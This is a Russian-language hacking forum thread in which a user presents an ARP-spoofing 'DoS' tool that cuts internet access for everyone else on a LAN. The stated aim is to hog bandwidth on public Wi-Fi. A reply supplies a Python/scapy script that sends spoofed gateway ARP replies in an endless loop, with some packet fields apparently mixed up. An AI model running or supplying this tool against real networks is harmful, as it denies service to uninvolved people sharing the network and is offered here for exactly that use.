Soft ARP-DOS | Отключение интернета у всех в LAN (кроме себя)

notBrut0r

notBrut0r

Премиум
07.08.2019
87
185
ARP DOS

Возникла у меня идея, а что если сделать ARP спуф, но при этом указать не существующий mac адрес в качестве носителя ip адреса шлюза? По идее тогда должен отрубиться интернет у тех, на кого направлен спуф.

Так я решил реализовать arp досер, который отключает интернет всем в локальной сети. Для себя я нашёл пользу в том, чтобы отключать в публичной wifi сети всех от интернета, тем самым получая подключение к интернету с не забитым другими людьми трафиком, а значит и более высокую скорость :]

У программы есть 1 минус, нельзя самому указать адаптер, так что надо делать так, чтобы программа запускалась когда адаптер подключенный к нужной сети использовался в качестве текущего основного подключения (и ещё, возможно, потребуется запускать с выключенным VPN, но его МОЖНО включить после начала доса)

Прога не сжирает процессор и сеть (отправляет всего 2 мелких пакета в секунду)

Запускается очень просто - sudo ./arpdos

В прикреплённом архиве исходный код и уже скомпилированный бинарник (arpdos)

P.S. К сожалению, я смог скомпилировать только для x64.
При компиляции на x86 мне выкидывает эту ошибку:
Код:
# github.com/google/gopacket/pcap
/usr/bin/ld: skipping incompatible //usr/lib/x86_64-linux-gnu/libpcap.so when searching for -lpcap
/usr/bin/ld: skipping incompatible //usr/lib/x86_64-linux-gnu/libpcap.a when searching for -lpcap
/usr/bin/ld: cannot find -lpcap
collect2: error: ld returned 1 exit status
Я пытался её устранить, но всё тщетно. Может кто-то из вас сможет мне помочь? T-T
 

Вложения

notBrut0r

notBrut0r

Премиум
07.08.2019
87
185
А, и да, забыл написать, я не стал пытаться допилить код для винды, поэтому эта программа только для линукса. Вотъ
 
roxa roxa

roxa roxa

Member
20.05.2019
10
1
ARP-DOS | Отключение интернета у всех в LAN (кроме себя)

у меня чтото не так?
 
BredBerry

BredBerry

Well-known member
07.09.2019
61
29
Как всегда good!

ARP DOS

Возникла у меня идея, а что если сделать ARP спуф, но при этом указать не существующий mac адрес в качестве носителя ip адреса шлюза? По идее тогда должен отрубиться интернет у тех, на кого направлен спуф.

Так я решил реализовать arp досер, который отключает интернет всем в локальной сети. Для себя я нашёл пользу в том, чтобы отключать в публичной wifi сети всех от интернета, тем самым получая подключение к интернету с не забитым другими людьми трафиком, а значит и более высокую скорость :]

У программы есть 1 минус, нельзя самому указать адаптер, так что надо делать так, чтобы программа запускалась когда адаптер подключенный к нужной сети использовался в качестве текущего основного подключения (и ещё, возможно, потребуется запускать с выключенным VPN, но его МОЖНО включить после начала доса)

Прога не сжирает процессор и сеть (отправляет всего 2 мелких пакета в секунду)

Запускается очень просто - sudo ./arpdos

В прикреплённом архиве исходный код и уже скомпилированный бинарник (arpdos)

P.S. К сожалению, я смог скомпилировать только для x64.
При компиляции на x86 мне выкидывает эту ошибку:
Код:
# github.com/google/gopacket/pcap
/usr/bin/ld: skipping incompatible //usr/lib/x86_64-linux-gnu/libpcap.so when searching for -lpcap
/usr/bin/ld: skipping incompatible //usr/lib/x86_64-linux-gnu/libpcap.a when searching for -lpcap
/usr/bin/ld: cannot find -lpcap
collect2: error: ld returned 1 exit status
Я пытался её устранить, но всё тщетно. Может кто-то из вас сможет мне помочь? T-T
termux подерживает?
 
GooseBumps

GooseBumps

Member
08.08.2019
11
1
Очень понравилась идея автора, переписал на python
Работает через raw sockets (поэтому требует root'a)

Python:
# -*- coding: utf-8 -*-

import scapy.all as scapy
import argparse
import socket
import time

def get_self_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(("8.8.8.8", 80))
    self_ip_global = s.getsockname()[0]
    return s.getsockname()[0]
    s.close()
  
def spoof():
    # target_mac = get_mac(target_ip)
    gateway = get_masc() + str(1)
    packet = scapy.ARP(op=2, psrc=gateway, hwsrc="f4:a3:af:11:12:44",
                       hwdst='0.0.0.0', pdst="ff:ff:ff:ff:ff:ff")
    scapy.send(packet, verbose=False)
  
def get_masc():
    self_ip = get_self_ip().split('.')
    self_ip = self_ip[0] + '.' + self_ip[1] + '.' + self_ip[2] + '.'

    return self_ip

id = 0
while True:
    spoof()
    print('Пакет ' + str(id))
    id = id + 1
    time.sleep(1)
 
  • Нравится
Реакции: bullik01
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб